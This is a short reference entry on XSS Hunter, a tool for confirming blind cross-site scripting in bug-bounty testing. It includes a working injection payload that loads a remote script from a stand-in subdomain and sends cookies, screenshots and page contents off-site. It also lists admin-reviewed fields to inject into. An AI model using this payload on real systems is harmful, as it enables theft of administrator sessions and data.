XSS Hunter
InformationalXSS Hunter
Definition
XSS Hunter is a specialized tool for detecting and validating Cross-Site Scripting (XSS) vulnerabilities, especially Blind XSS. It provides a JavaScript payload that, when it runs in a victim's browser, automatically sends a screenshot, cookies, URL, DOM and more to the hunter's dashboard. It is essential for detecting XSS in admin panels where the attacker has no visual access.
Impact
Detecting Blind XSS in admin panelsAutomatic capture of screenshots, cookies and DOMValidating stored XSS in contexts not visible to the attackerRecording the exact URL where the payload runsAutomatic visual proof of concept for bug bounty reports
Examples
Using XSS Hunter for Blind XSS
The XSS Hunter payload loads an external script from your custom subdomain. When it runs in any context (even one you never see, such as an admin panel), it records all the information needed to prove the impact: screenshot, cookies, the URL where it ran and the full HTML of the page.
<!-- XSS Hunter payload injected into forms --> "><script src=https://your-id.xss.ht></script> <!-- Inject into fields that admins review: --> <!-- - Contact forms --> <!-- - Username fields --> <!-- - Support tickets --> <!-- - HTTP headers (User-Agent, Referer) --> <!-- If an admin opens a panel that renders your input, --> <!-- XSS Hunter captures: screenshot, cookies, URL, DOM -->